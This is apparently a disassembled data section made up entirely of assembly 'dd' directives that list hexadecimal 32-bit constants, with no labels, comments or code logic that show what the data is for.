		dd 4C0C5300h, 2565AFA1h, 62D802B8h, 1388AC24h, 5256DB57h
		dd 0D1C004DEh, 7BD3E0h,	406561FEh, 0BF909319h, 3847809h
		dd 0FB5EC16Bh, 4F9589E8h, 4AD2FD45h, 10BC0CA9h,	70CA5400h
		dd 89376319h, 60D5558Dh, 16D11089h, 42BDEFE8h, 0E4F92F4Eh
		dd 0D3F695BCh, 6F0DF5Fh, 0C8125AA5h, 0BF1666D5h, 19BF5622h
		dd 0DEDFE722h, 1DCC254h, 11929170h, 8B8EA212h, 0DF1879C6h
		dd 41C0CDB3h, 3705490Bh, 4DF2588Eh, 21BD7904h, 8FC7ADBEh
		dd 43A59631h, 0B3F52896h, 91D062AEh, 6D420C2Dh,	2AEF0D4Fh
		dd 0C0EBD3D7h, 365992AEh, 6CCC347Fh, 5BFF61F1h,	2DB96ED1h
		dd 1C8F65D5h, 0B602359Bh, 9ACE114h, 13E9E27Ah, 1AB0026Ah
		dd 0EE864EAAh, 7D27520h, 0B8492C62h, 0CABA3885h, 0F502004h
		dd 60E4E484h, 44D98B25h, 4AC100F2h, 9D2B390Dh, 947F1C47h
		dd 615B020Bh, 0DCB6D490h, 13E95A4Fh, 8F0169ADh,	96E7800Fh
		dd 2D03233Ch, 656761E9h, 2F42C708h, 2C17FB5Eh, 71D8CFEh
		dd 4C7EAA00h, 53F20ECFh, 712726BCh, 60F52539h, 820721B1h
		dd 2BE9FD0Eh, 2DC9ECFDh, 0B877860Fh, 182D97Ch, 7092364Fh
		dd 20167531h, 0F726BFABh, 4DADF5B9h, 0E972C966h, 527587B0h
		dd 59664A27h, 0ABED4968h, 49E01A46h, 0EE4EA399h, 0E983182Ah
		dd 0E6B0772Eh, 0AA003D23h, 69CF819Ch, 0B5146361h, 0E6BD63B3h
		dd 9479E159h, 4B370F0h,	613E31Fh, 0B420EFC9h, 3ED4B823h
		dd 0B701692Ch, 1B5FF92h, 61DE2A26h, 40023E81h, 56EA2E33h
		dd 9E8BFE0Fh, 0BFCF8016h, 8AA4C16h, 0E60B0853h,	0A7987770h
		dd 4CC571E4h, 44AC34F9h, 0C9A0EFC8h, 44BD2BFEh,	0E2E1BDFDh
		dd 2E636B08h, 0F7BFFA60h, 0A4004CD1h, 172B6BD8h, 58B7009Ch
		dd 3DCC4215h, 0EE05B8EDh, 0F83851Eh, 9805C612h,	58A414F5h
		dd 0C9B51609h, 446B21Ah, 34DD9D23h, 1494BB30h, 2B774D0Bh
		dd 2C850EC8h, 60D14315h, 5BFE8E52h, 5ABE8AE9h, 85F5FB47h
		dd 50A204EAh, 94DF8052h, 285E807Eh, 0A85D17FAh,	46A1D676h
		dd 29130336h, 4E8BADB5h, 904A4A7h, 4821D995h, 3E8EAC4Eh
		dd 1178480Bh, 0F894C59h, 0DA168Fh, 13FE9D60h, 0FA53B0B3h
		dd 5C226BE5h, 59A22C25h, 18B2215Eh, 0D5952981h,	7505090Eh
		dd 8B0B9FE9h, 615B611Fh, 34B66908h, 0EFC3243Ch,	5FFE9B09h
		dd 0CDBD25B0h, 95B91B40h, 6D774409h, 9637C2DDh,	5C4A4560h
		dd 1D06062h, 0DBA80C13h, 61D83419h, 0F931FCFAh,	7799E87Bh
		dd 272379Fh, 619A42E3h,	4CCFD25Dh, 535EDEF9h, 5EC5E228h
		dd 817028EEh, 41002971h, 0A16FA8AAh, 592B5FCDh,	8BBCE8C0h
		dd 86F72B00h, 0C8D1DFEBh, 45DF98A8h, 66E73F09h,	0D22BDA0Bh
		dd 0EC96F137h, 15C91E05h, 59E69FEFh, 2B7ACB0h, 0FAC59408h
		dd 66C626D5h, 4DEA2F04h, 0E2EF6172h, 96AA04D1h,	0A5995D9Ah
		dd 22E6852Bh, 47F1D9FBh, 0DB73003Ah, 5BD74A33h,	0F1A90096h
		dd 401E266h, 0FD164CF4h, 8BB26AD8h, 41BD2B0Bh, 80D4C8C2h
		dd 1A46D6h, 4F7EFFBEh, 90EB56D2h, 3A2A2F53h, 1859395Bh
		dd 0FA0B5F18h, 580EC887h, 0B1066E4Ch, 79291DCBh, 0D29BC5DDh
		dd 3D04ACF3h, 8DAA7B4Dh, 0C4816F3Eh, 0A8152C1Dh, 7DE6A26Ah
		dd 546B8D6Fh, 4D5E94Bh,	0D8102B52h, 7012AB5Eh, 0E72AE9A1h
		dd 0D470A75Bh, 9CB2B9Fh, 89C78051h, 52035579h, 85A4E713h
		dd 49A621AEh, 7674E863h, 0B9F94116h, 52583DBFh,	0F3DF5FBEh
		dd 3E4E5221h, 0D9FD7F00h, 3F373079h, 9DF9E40Bh,	749A0F10h
		dd 935FFB00h, 204F1C50h, 4A942877h, 257520CFh, 0B7F80BB5h
		dd 0FFDE1251h, 0F62BC2C9h, 85019366h, 59DB6550h, 0D4CD286Bh
		dd 0AB0B27D3h, 47B359DEh, 3D7D498Eh, 0B220192h,	20CC99Dh
		dd 4E235860h, 4A27E610h, 3589709Ah, 91571075h, 880F802Ah
		dd 2DDB6695h, 0A469D224h, 5FFC123Dh, 0F3818979h, 27FA6E49h
		dd 5006F73h, 68672E19h,	4F01C60Bh, 51BDF6AAh, 0AFD8EEECh
		dd 0D67B162Bh, 0CB9ABE71h, 0C08F1B8Ah, 0A8A96FE0h, 83AE409h
		dd 2533D101h, 89653D5Ch, 2F35A5EBh, 0FE0051F3h,	80D584EEh
		dd 0BD7C1810h, 39CD7800h, 67A3BA6Bh, 0AB212707h, 6D6E105Dh
		dd 22650EDBh, 7A4043C8h, 0A594280Bh, 90FB2E14h,	10B8C081h
		dd 3DC1F0A0h, 5680257Ch, 51CE6F5h, 0BE06B1F8h, 0C7C806E0h
		dd 0EA98F6h, 7C6388B8h,	0C0D01A68h, 0B4883BF3h,	27EB0ACEh
		dd 8044F0F6h, 93850AFh,	8A131C1Dh, 0B7AD4F31h, 0B05FE216h
		dd 3325E5B4h, 1E377D5Eh, 0EB085404h, 0F5C59DBAh, 97746B03h
		dd 0FFE020AEh, 3A0FE0E2h, 8777191Ch, 0FF0B01A3h, 57CB04EDh
		dd 9CB95390h, 7E346BEFh, 9766F1FEh, 0EA5DC988h,	98BF5BD3h
		dd 2B4B017Fh, 51CBDAA9h, 5F12A0F3h, 5F18205h, 0B7C59DADh
		dd 0D69AAC65h, 39DFC001h
		dd 8B3989E1h, 0E850D4BCh, 8C060E51h, 3F3E9766h,	75F30B5Ch
		dd 9CDF5FADh, 0A24D9530h, 0DAB40340h, 71AE253Ah, 0B350F101h
		dd 0AC123EEBh, 90B84FADh, 771B9501h, 0B3BFB729h, 0E24DF67Bh
		dd 1466C15h, 0ED684E8Bh, 0E4D74FB1h, 0F40976BFh, 275B75C8h
		dd 0CFB01266h, 9DDF8028h, 0BF2D0F70h, 554D62E3h, 5980B6BDh
		dd 0E775D8BEh, 0C2FE50E6h, 19AF25CBh, 0C3911855h, 0CA3900F4h
		dd 1DBB9022h, 200283C5h, 3CB56050h, 2FCDDD61h, 0DAFA57E9h
		dd 0D92575B0h, 537FDC14h, 4D7D55B2h, 0D9BB8161h, 6A6B6ACBh
		dd 0E1514328h, 8EA6EE05h, 5F65BD48h, 3044EAB5h,	9EAB55E9h
		dd 0AF28C012h, 8056B9h,	0F781D4CBh, 5C76D792h, 419D331Ah
		dd 0F7EC55D0h, 0D7C41A9Fh, 937418E7h, 0E9B258A5h, 85E52E50h
		dd 0EF601340h, 9F1BA87Ah, 0F20DC14Ah, 6A2D6EA8h, 275A65CCh
		dd 6D757342h, 0D213E084h, 0D14B0D52h, 6C996EB8h, 1D45F20Eh
		dd 406D589Ah, 0B52B51B0h, 15919637h, 0C0764B85h, 0B4E310A6h
		dd 29295D2Fh, 2AB7DF0Ch, 458F1D11h, 0FE0A5785h,	63866F35h
		dd 98989F9Ah, 254BC780h, 16AC84A9h, 0DE97128Ch,	4AADFCF9h
		dd 35BC66BDh, 89C8534Eh, 18D8076Bh, 0F098E8F5h,	5E7ACDCBh
		dd 6FBD9055h, 9B27207Bh, 0FB958BF0h, 14658894h,	59C331Dh
		dd 9F2E6E6Dh, 7797C144h, 73CF96B0h, 4BBC570Bh, 9775D863h
		dd 0F76B4CF4h, 95318798h, 5B231927h, 9299FD0h, 4EC50C5Dh
		dd 3E9B5A5h, 0D0D380ADh, 9F35D82Ch, 57C28389h, 0A07059DBh
		dd 0CCA1668h, 4186A1D0h, 6AAC3A26h, 0C630ED16h,	87E86Ah
		dd 0DC8D5C46h, 3AA4112Ch, 9CCBC804h, 6BEBDF8Bh,	0E1C23F5h
		dd 728E5913h, 5F7C0477h, 9BF6Eh, 5C6D7F16h, 486CC9h, 1D01ED9Ch
		dd 0C239B284h, 5ABFCD98h, 0B7DF9799h, 0F17E8003h, 0C62AECADh
		dd 0A56C880Dh, 0AB215AB6h, 0B914E92Fh, 3794606Eh, 6CBDE2ADh
		dd 5A81423Fh, 928FAC2h,	59508B5Fh, 26E90910h, 827CDB75h
		dd 0B38E267h, 72B98C63h, 0BB62F5Bh, 0FF968901h,	42E2CBC6h
		dd 2E5F5BEDh, 0D8F9EF27h, 9B200172h, 1816D197h,	10462453h
		dd 0B3FA043Eh, 0EFF6FE9Dh, 8786E9A5h, 5B01EFAAh, 817B6699h
		dd 0E2F950D9h, 27AA4F5Dh, 2D4A57Eh, 789C4AD6h, 1678960Ch
		dd 2EBF5003h, 0D03CA704h, 529DB531h, 0C7969419h, 291FB876h
		dd 0DC133D09h, 1AD45A38h, 5B5E9DD4h, 0C0EB81C0h, 3E2524E2h
		dd 1671084Ah, 0C9E70252h, 343A7728h, 0F94C8977h, 0A8574BEFh
		dd 0DECEB1h, 84B2F11Dh,	16DC8F19h, 5651A614h, 34051089h
		dd 70B25B25h, 156DDA40h, 5C55519Fh, 9818579Dh, 7397C6D0h
		dd 0A321D064h, 29B5598h, 61D88A02h, 99D3D75Fh, 332617D1h
		dd 960D2902h, 447531DBh, 0A6E92D73h, 0D7811E60h, 0B01B171Ch
		dd 5EB77DEFh, 12C73580h, 73F253C8h, 4BC790E6h, 7E64CDDAh
		dd 908195F8h, 2A5075B3h, 8D9CF8FCh, 0E9550288h,	30C82FD9h
		dd 4B28BE71h, 2F56DE61h, 0D24034BFh, 9E082C8Ah,	0C70C4C24h
		dd 3E1A8019h, 313B2F53h, 0C92A4B77h, 7A4D2116h,	0AC32B230h
		dd 576000DEh, 49584BE3h, 284FA7D6h, 0C85D12BAh,	1E02B6E0h
		dd 0CE13CB1Dh, 6285F534h, 5B039903h, 55CBC008h,	0B241BD89h
		dd 0F8DEB72Ah, 1C34C1C2h, 0AF5802B3h, 558D1231h, 0D630F210h
		dd 12719C6Bh, 0EAD1FFD2h, 10162C6Eh, 3C1F30A9h,	4B144752h
		dd 10AE2D8Ch, 0FA4B1BC5h, 0D3C25828h, 0BC98AD32h, 0B3B7017Dh
		dd 0CB6A0AB4h, 7F02CD76h, 8D02756Eh, 1323FC56h,	0F3B4905Fh
		dd 9B120060h, 0CBF8FF68h, 80E5FE6Ch, 5CE22376h,	259D8909h
		dd 0E95D0B51h, 0F2044791h, 0DF007E90h, 70348A31h, 0EAF043h
		dd 27DE5D28h, 2CF14F73h, 79365416h, 0D88289FEh,	9A00623Eh
		dd 0F8638C01h, 182716Fh, 0A5FED7F7h, 3E596A70h,	15B218A6h
		dd 7E6CB230h, 0E87AEA66h, 0E9FE178Ah, 0E1D4ACA4h, 0B7005324h
		dd 0EFF25048h, 5C285804h, 74EB5B3Bh, 0C0A3DA8Bh, 0A5BDA29Bh
		dd 0DDFCB77Dh, 40917E4Bh, 1EF7535Bh, 0B9ADEC14h, 0D9ED04B3h
		dd 0EC8A505Fh, 0BE4A1543h, 604B836Bh, 0D8E6696Ah, 0F341109Dh
		dd 0E2961F22h, 0EDBAC3D1h, 53D1213Fh, 7F0BC55Fh, 392E20F1h
		dd 0B127265Ch, 0E33ADA2Dh, 0B8A64E62h, 38301BB2h, 2BE8006Eh
		dd 0BA805F72h, 1519F5BFh, 0B9686AFDh, 2B4CAC62h, 3DC9C702h
		dd 6746215Ah, 66C33F00h, 0A48DB49Ch, 0FDD801B6h, 383EA6CCh
		dd 0D717F077h, 2F829E2Eh, 0F220890Bh, 0DCB22552h, 1E4550ECh
		dd 114D6881h, 3AB06CFCh, 2195DF91h, 40510970h, 704FE62Ch
		dd 290ACCE3h, 898BB985h, 0A0771E4h, 5C7BA9A3h, 6EB0DCA1h
		dd 3A24BBDh, 11C73A4Dh,	0F6178E0Dh, 34BF1221h, 2EA8C3B8h
		dd 0BA0C2890h, 0CD62B294h, 10D60B11h, 44BCF844h, 50C7205Bh
		dd 9F16B2FAh, 0B7C2B539h, 0C82B000Ch, 0F817D18Bh, 11B7A0E9h
		dd 7207F05h, 4BD20080h,	94DCD578h, 54C0194Bh, 0C5494755h
		dd 0EF0325E4h, 3E81A1D4h, 780716B9h, 8A57AF01h,	0D7C661D3h
		dd 923EF7Ah, 26702905h,	0F1453FD8h, 38322E8Ch, 19DA77FAh
		dd 0E620B725h, 3B7A659h, 731DD64Fh, 0FBA4FA3Dh,	5EE636D9h
		dd 41284459h, 32F59D29h, 62AF4E0Bh, 5F5E0555h, 0BB418068h
		dd 612F2CC2h, 2FCC165Ch, 7BBCA7FDh, 8B0F8612h, 450CE8D6h
		dd 5C82317h, 0C4F07D7Eh, 94BCD8FAh, 6258DE02h, 75491DA4h
		dd 0F37981D3h, 0B62E84CDh, 3017B2A2h, 0AA2E2345h, 0F5638882h
		dd 0E0ECE04Dh, 441B09A4h, 2200F389h, 67B95FF9h,	73BD1070h
		dd 9E787891h, 4149BD12h, 265DCC04h, 0E243BE13h,	0ADE218BBh
		dd 4E2F6EFBh, 337528AEh, 1B4B8498h, 1C0F1798h, 22BAFEB7h
		dd 0D5B53109h, 69757B0Eh, 0DC0241F1h, 804A9ECFh, 0B8816CCFh
		dd 0BF724A92h, 4BBF1320h, 107C9D79h, 3C60D7C1h,	0B2B8F63Bh
		dd 0FADD3218h, 0EB80179Eh, 0D2C1BCE8h, 0EDF403E2h, 980AA8B0h
		dd 1F8D2D1Dh, 4F46B7Ch,	0BF0F137Ch, 0A219BCFAh,	0E1462964h
		dd 2DB9CC80h, 27896D9Dh, 0FD72C5DBh, 745AE414h,	0DF62A5F8h
		dd 853E1FFh, 4B547572h,	99765A5h, 9CDF0448h, 1B566AFDh
		dd 2365098Ah, 45EB1C75h, 4E75300Dh, 644ACE70h, 0D71E3B22h
		dd 0E0003294h, 29921951h, 0B4600E84h, 0BE12DC23h, 0A6E10A6Dh
		dd 396E7Fh, 3F200780h, 25DDD13Ah, 0AEC27A1Eh, 25DCD0FEh
		dd 0BBC81433h, 3FE10143h, 2CF2D8B6h, 4DFDEEDDh,	0BB4A1675h
		dd 1624D86Ah, 5384CF98h, 0D7E1B9CEh, 0AA924C9Ah, 0D402DCF3h
		dd 8D0FD76Bh, 0DF954764h, 0F8BB5411h, 3C27474Fh, 2486C051h
		dd 905F09F3h, 0BCC9D88Bh, 24AB05F9h, 96ECEB1Dh,	38C6A293h
		dd 121680B0h, 0B7C94821h, 954D07DFh, 209CEFB6h,	64206A68h
		dd 2BFB8B71h, 0E3C6421Fh, 951274BAh, 5D4B05DEh,	0F4405B95h
		dd 1218F5C8h, 0FCB84DA8h, 0D96BC0DEh, 63E60AFh,	7B966D32h
		dd 0DF3EFA53h, 5B5F2F7Dh, 3C503BA8h, 5BFC0452h,	0AE0210E9h
		dd 4A87BB9Eh, 0BC85D023h, 0E54BC691h, 7BBBC185h, 0EFA20E83h
		dd 0DA3BA148h, 0BA3085E7h, 0A8144FC5h, 0A2F6B4ACh, 9E7F75A0h
		dd 6718BA02h, 7E8C91A2h, 400E0AEDh, 35D09D9h, 91CF3775h
		dd 381E801Bh, 4EEB9D7h,	0B725150Dh, 69B6EFDCh, 590F6A5h
		dd 820FD074h, 8D2B55C9h, 7F8331A3h, 2416DD96h, 0C4E3F98Ah
		dd 0D4E2BF53h, 0AB990F12h, 12FABCB0h, 0FE5B5FA9h, 85F6B4C4h
		dd 0E9A8BAE4h, 0BE071E04h, 29E6C7FEh, 8BAFE5D4h, 70DA5382h
		dd 0BA39A1B2h, 5DB30E60h, 4D8BA7Fh, 30BC6176h, 0C0FC8AC5h
		dd 0F3D9ED35h
		dd 28EF2B5Ah, 2D2FBFEDh, 9FA97D55h, 167059D5h, 5553AE52h
		dd 0BBC078A8h, 1ADE1715h, 0B59B584Fh, 69276480h, 0D1621BBFh
		dd 5E08F882h, 9D23614Fh, 4B126BD5h, 549BD0D5h, 0BF0F7AC5h
		dd 95FC67C8h, 0BFE447Eh, 8B611F58h, 0BD481CF5h,	8102D3C6h
		dd 0CA5CF7EBh, 531A5C3Ah, 660927AEh, 0DFD529BBh, 0CAD1BDAh
		dd 0C88F7EBh, 7290B9Dh,	7EFC4DDFh, 0EEC1756h, 4902EB2Bh
		dd 0A58A8251h, 0B75F000Ch, 85792915h, 7D27F5BCh, 0CD97591Eh
		dd 63BBC3A0h, 9F3C2CC8h, 411E822h, 0F53FA171h, 0BF2AC085h
		dd 0E70089A0h, 8D1B5B0Ah, 1351B9B1h, 87159509h,	8B5FC45Ch
		dd 77F92509h, 9902ACBDh, 62D984F2h, 0AAD07D35h,	42859595h
		dd 365E7CCDh, 21646D6h,	0B391DC40h, 27975C1Bh, 6C627F4Fh
		dd 93D7612h, 1F824BFFh,	4CFD994Dh, 2D95103Dh, 74962E0Eh
		dd 961CDE44h, 0C364BA89h, 0A95185FBh, 5EBC4Dh, 2F9D03F2h
		dd 5FBFF5B7h, 169B2117h, 4F596BEAh, 10F65D8h, 3C7EF80h
		dd 7F2981BDh, 0BBC219EDh, 0A9AB59CDh, 923ABD5Dh, 8820BBFDh
		dd 1237D381h, 0F323753Fh, 10447450h, 0FC421C65h, 5A2EC0EFh
		dd 7396952Dh, 57558C04h, 0B6BFCEBEh, 69B6A4E1h,	19A2DF02h
		dd 0E4D0378Dh, 1A317E27h, 68717D9Fh, 0C86F1900h, 0FD89E6h
		dd 5ECE1D73h, 99854C9Ch, 702E9809h, 56B787Dh, 0F3A9C381h
		dd 5FB1FF2Fh, 0EEAF8D30h, 0CC5C4BE1h, 83DBB3Bh,	5F5F259Ah
		dd 3B09669Ah, 77429075h, 7EE4071Ch, 0A06D84C6h,	0C92AD151h
		dd 0FD1BC125h, 0D792B8B7h, 0BD84571Ch, 0E48A0F39h, 6169205Bh
		dd 130C43C1h, 30CB6C66h, 6E2341B9h, 98899A98h, 0B2D5973Dh
		dd 7C75ABh, 4079D65Ah, 0A40182E3h, 7C5BAA27h, 0F9344544h
		dd 0D7BCF5h, 0DC7DF2A8h, 3D8B1EBCh, 2AE2024Fh, 44601Fh
		dd 0F4C1B826h, 286408CBh, 32B9FA74h, 1575DF8Bh,	327D4932h
		dd 51E756E8h, 237B6F65h, 2B95A001h, 40860889h, 5BBB50E4h
		dd 7419A315h, 0BC794DA0h, 41F516E3h, 633B30FEh,	0E7DEEA8h
		dd 1D187007h, 2160F515h, 2B44B2Fh, 0F38037E2h, 0D37F5F32h
		dd 303FF9E6h, 0C15B775Ah, 0B1D361FAh, 9252222Ch, 0BDECCCABh
		dd 0EE172925h, 3285F80Ch, 0D849052Dh, 4C51115Eh, 84EEA815h
		dd 8982EE0Bh, 516EF667h, 0EB752E5Fh, 0EDA167F6h, 0B9A06072h
		dd 4BE2145Eh, 159D330Bh, 0B80B44E1h, 0D8A64E0Ch, 9D801188h
		dd 0AD7B38B2h, 72771CDEh, 31824E33h, 0C197EFC0h, 0EE02BBD9h
		dd 0E94207C8h, 470BF765h, 783CA6E0h, 0E1C18B2Dh, 10C0BA92h
		dd 6EF07E0Eh, 9D35FEAh,	0EE02146Bh, 3F0F27A5h, 0F65CCFCh
		dd 292F6169h, 2F5F5350h, 0D0F928B2h, 0C22B5806h, 43F0501Ah
		dd 5A4D2E38h, 0D75E2F99h, 33C5060h, 3A813BD0h, 84194532h
		dd 2D68E444h, 0D99B85ACh, 0C88B914Ch, 226DF741h, 3C400300h
		dd 4F444FD2h, 8B0F14F1h, 0F912B13Eh, 0F8050128h, 0C1C5BB0h
		dd 20DCD103h, 0DB4D0E5Bh, 5D121008h, 8F640A0Ah,	83046D05h
		dd 0DECC04C4h, 3E8B5851h, 0A9811005h, 0B51418B0h, 0C0243359h
		dd 450946C3h, 240A9932h, 4DFCBA14h, 0A7D268C0h,	7797D49Ah
		dd 46A380B4h, 25820840h, 0D38BB9C5h, 0BC6620EEh, 6B0080B6h
		dd 84DEA8B3h, 0E1EBE45h, 5A398833h, 5803ACEh, 0E5C28135h
		dd 0D3FD694Bh, 0F355EB89h, 0DD94002Dh, 820FFF33h, 83ECCDA4h
		dd 0BE5710BDh, 8B650BF0h, 0A193A1Ch, 67B22A53h,	0EDB2BEC0h
		dd 594E6F08h, 0A11205C0h, 0B2F6BF58h, 0F3D0F847h, 4880F089h
		dd 2475201Ah, 1F672153h, 5C1C4FC7h, 65A6B961h, 7976A789h
		dd 0D8818052h, 47D4D3B6h, 310FC0ECh, 812A586Ah,	0FA94FEFh
		dd 0F28B3E8Fh, 4F4BC7E5h, 0FF23F709h, 0F09E9718h, 3E348521h
		dd 109F20A2h, 1C68C3CCh, 80165B57h, 977028C7h, 3E250C98h
		dd 4A44C6h, 0C7B63D17h,	58AA8B9Dh, 0DD8A2CFAh, 71AD50DBh
		dd 66520006h, 314EE7CDh, 3C17CB0Bh, 0B376D8h, 61B9B1DBh
		dd 4249E959h, 0F3C8008Bh, 5D1B24Ch, 0E76B001Bh,	29701204h
		dd 873E7549h, 410680Fh,	60EA6BD8h, 8BB01009h, 9200BDBCh
		dd 6CC6E782h, 13E50469h, 2244F49h, 234E2DB4h, 0FFD2C1F5h
		dd 0AC63E4h, 0CB80E4D0h, 0EBA1C695h, 0BDC29F00h, 74343AC5h
		dd 0D71E00F2h, 0A652A54Bh, 9600918Ch, 5867FAEFh, 52714h
		dd 4E292C9Dh, 5FFFF7D3h, 54154A00h, 3A10671Dh, 0F0E100A6h
		dd 57BA328Eh, 6E00EBB4h, 1AB93014h, 0AD5C5Fh, 94882B36h
		dd 6678D263h, 9A206900h, 0F314459h, 38FB38D9h, 8FED0A00h
		dd 0DD57E1EAh, 76B6BE00h, 82D89DBDh, 9AC400B3h,	0E00FB23Fh
		dd 120080FCh, 0C0DA73E6h, 0BB74B0h, 0C1409CBAh,	0F0E052EDh
		dd 5BD0E91Eh, 0CFCDF981h, 0D6F8C860h, 357400C9h, 0E8E11CDBh
		dd 0EB0F4236h, 0C3174DF5h, 902083F1h, 2AF37A7Ch, 17C091F6h
		dd 76C630h, 57628D6Ah, 6F06BD2Ch, 56DA7F93h, 13B7F91h
		dd 269DFF73h, 0C0167975h, 8B7B3E94h, 17803500h,	0FC330FF9h
		dd 81C415EBh, 0B603F010h, 4FA8F5Ah, 0DDB0D8C0h,	87E34800h
		dd 0E81973A8h, 0AF40F36Bh, 7BAF5Eh, 6C7A864Fh, 0EBDADEEEh
		dd 6E6A7203h, 0FF017D03h, 0BDA9FDC0h, 0F6078C8h, 0ABAAD662h
		dd 0CA54CF20h, 9030649h, 0F5D7BCA4h, 3E39908Dh,	684D0228h
		dd 934A1F54h, 0AB4C9C8Ch, 0F7803A00h, 0C43B816Bh, 694C0029h
		dd 5E1842B3h, 757DDF47h, 5300DA74h, 40AB0661h, 2C65736h
		dd 6CBED109h, 83400B1Eh, 17507D12h, 0CB0078A4h,	62779641h
		dd 0F4F2A892h, 0AA981C23h, 8A8CC1EEh, 0DC3CB921h, 5C48DF13h
		dd 56A84472h, 0E1375800h, 1002FE8Bh, 0A3C81EF0h, 319340A2h
		dd 8C1A7E94h, 619FB4A0h, 91FBF7Bh, 0EB03571Ch, 0D0D025F9h
		dd 0E055CAh, 2C81968Bh,	50CB6551h, 0ED75FD00h, 6DC1D411h
		dd 4F250054h, 6216B8ABh, 887505CBh, 0AFF3D612h,	0C687C440h
		dd 73FA9D1h, 9442BA73h,	0D2DEF0DCh, 0B4073186h,	4B34232Ah
		dd 0CD3B2740h, 3F490C14h, 0C2C8FC12h, 0CC43291Eh, 0C0588ED8h
		dd 0C6768873h, 79A8D000h, 2C78DCD9h, 0D5B300A3h, 2F654A22h
		dd 0CB0055DAh, 49F02C6h, 8EF547h, 8115C439h, 4B8603ACh
		dd 0C03C48h, 0C1425C99h, 7F686CA7h, 0BFAB00C3h,	853B5A8h
		dd 0EA3B9062h, 0ED007E18h, 9DF8C71Ch, 1E6017ECh, 628B85h
		dd 0ED77371h, 0D798FC4Fh, 1282FB03h, 889EBCB9h,	0BBA095h
		dd 30E7616Ah, 49F8A7C0h, 0B4C046B8h, 0F338ECDAh, 67BC39ABh
		dd 0C3284D00h, 0C889EE10h, 958ED80Fh, 11434373h, 4815C838h
		dd 8C303022h, 0B7252FDAh, 57B43B0Eh, 107049EDh,	7D0D89C8h
		dd 0F132001Fh, 319140C5h, 5F8B590h, 6C0FF2E2h, 5CC9F0E6h
		dd 149C5480h, 7DF1604h,	0C4ED9ADCh, 1F0C0088h, 150E5903h
		dd 2691A3BFh, 5B88EAFh,	0A05C1402h, 3C84007h, 9BB051B1h
		dd 0EECDDF00h, 0F30D62B7h, 3ED3EA3Fh, 7749B6h, 0F15B6601h
		dd 9B1781E5h, 8F6BA21Dh, 0B62CDCC0h, 0CAD2ABh, 0EE39EA43h
		dd 0A90532E4h, 56F05500h, 0C94C4F6Fh, 3FD0389h,	26BF8461h
		dd 0BE059816h, 433A1040h, 1D1FE9h, 7EF5F2FDh, 78B8B661h
		dd 0CEDE58h, 0E9B5738Ah, 0A1C9CDh, 381DD937h, 4AC57F48h
		dd 0DACAA209h, 0A63C0071h, 0F4E27Ah, 0E1BED620h, 81F62F4Ch
		dd 0C1BF7E07h, 93F1858Fh, 0FDE49613h, 77BE1C76h, 5E785C98h
		dd 0F8E18BF2h, 976AF882h, 0B1B58868h, 0E4A51900h, 4C77557Fh
		dd 73CC1D94h, 962D007Ah, 180B8FAFh, 0D8CAA000h,	6C04AC44h
		dd 357D2Fh, 0A88090F7h
		dd 0CB26485Eh, 71151F00h, 5DF9FC37h, 0B3010003h, 0B4D71B8Dh
		dd 0A672AF36h, 81ADCB07h, 60D0E0B1h, 14FF4DEh, 0F368B0BDh
		dd 0E0CB0365h, 0E0004667h, 8132A3CAh, 375D8EAh,	42339C09h
		dd 0AED8C825h, 64036B99h, 2B29B34Fh, 66B81C34h,	7B18C230h
		dd 9DE0F083h, 0C601775Ch, 0DEFAF34Bh, 5AC9BE5Dh, 531420h
		dd 52862A43h, 13F6716Ah, 441CECE4h, 7C409C2Bh, 2C6E5ED4h
		dd 6F190215h, 915BD632h, 80B0B081h, 8051C9A0h, 4B253120h
		dd 4888DCB6h, 3B00AF97h, 0E61A5562h, 0D00E522h,	0FDCE8979h
		dd 0D0FE96h, 495FB9C7h,	7A7BB441h, 2680DD0Eh, 3B72402Ch
		dd 8819D5h, 43C32702h, 0A82D99C7h, 8ECA4C00h, 0C096D4FEh
		dd 0DA010071h, 1B9125AEh, 0C413B9C8h, 0FF059FCEh, 0B430373Eh
		dd 493A2h, 0C8DFD9F4h, 4FFCF8A1h, 23DBD400h, 0FB58D237h
		dd 5DA9E216h, 9D075010h, 2D98121h, 0B5C15FB4h, 3B75D0BBh
		dd 502DA800h, 1D59806Dh, 88450499h, 0C051CAEDh,	0D701F927h
		dd 0F8278900h, 9C555805h, 85280035h, 0B2F66095h, 0E0009D45h
		dd 160B391Ah, 0C49E57h,	333A22D3h, 6DD70932h, 0D847F518h
		dd 79659809h, 701E07DFh, 0F03DE410h, 0BC89081Dh, 6F60D31Eh
		dd 0B001C552h, 4528DB0Bh, 268531D0h, 86C474D5h,	0D90818F3h
		dd 94FB8C03h, 0A0038DABh, 920AF090h, 0A48F0180h, 0D2B8C2D3h
		dd 67C0EFDDh, 8E3E58AEh, 0CB870A8Ch, 84671874h,	0BED8DC0h
		dd 400C03C0h, 4628FB0Dh, 0D68532C0h, 51F540A0h,	0E9CB0C8h
		dd 5780AC8Eh, 0C7915590h, 359528A0h, 338BF318h,	7E48EDA0h
		dd 3AF886h, 55E1446Ch, 58A49501h, 9F843CC3h, 933C0C0h
		dd 3340375h, 0CA69B9F7h, 58656DB8h, 5E393Eh, 6574A29h
		dd 0E382A50h, 2636599Fh, 4FEB623h, 0BDF9AB90h, 2200D6E2h
		dd 6BD099D3h, 72CFB478h, 739A003Ah, 0A8770810h,	9B003F6Fh
		dd 41F5346Eh, 3896B7Bh,	8F191E14h, 24EA9C32h, 0FCFD7C60h
		dd 805A573Bh, 1813922Eh, 1B7EF15h, 4D88BD02h, 0C0FB7631h
		dd 5900933Ah, 0F8642ACAh, 0ED1A34h, 0F3D0B0Ch, 0A1702F7Ch
		dd 176EF502h, 0A00716D9h, 357225E0h, 938D03AEh,	4B85F394h
		dd 4821082Eh, 353A4C80h, 1DD3C119h, 3862456h, 8F1EF934h
		dd 2D3764F8h, 11477600h, 6AE0AF48h, 4C7B7B8Eh, 0D9014489h
		dd 0EDD960Ah, 0BBF7DC05h, 0FE302861h, 0D457158Ch, 7C3058C6h
		dd 997C83CCh, 0ECA4D0FFh, 0DF3214A0h, 9061511Eh, 9708D281h
		dd 86D3D3B4h, 0C74B0121h, 8EF44551h, 0BAC03ABFh, 0C01892FEh
		dd 7C0BDE21h, 0AA000291h, 739C03F5h, 4092ED5h, 0EF570EEAh
		dd 90309075h, 3C0EC7A9h, 6628A30Bh, 6E08B2F3h, 0C1E0219Fh
		dd 0E17982C7h, 0E2ED5600h, 0C3A94DF6h, 0CBA11877h, 711C881h
		dd 30095000h, 98917876h, 0D818D896h, 20309B0Eh,	308D10A4h
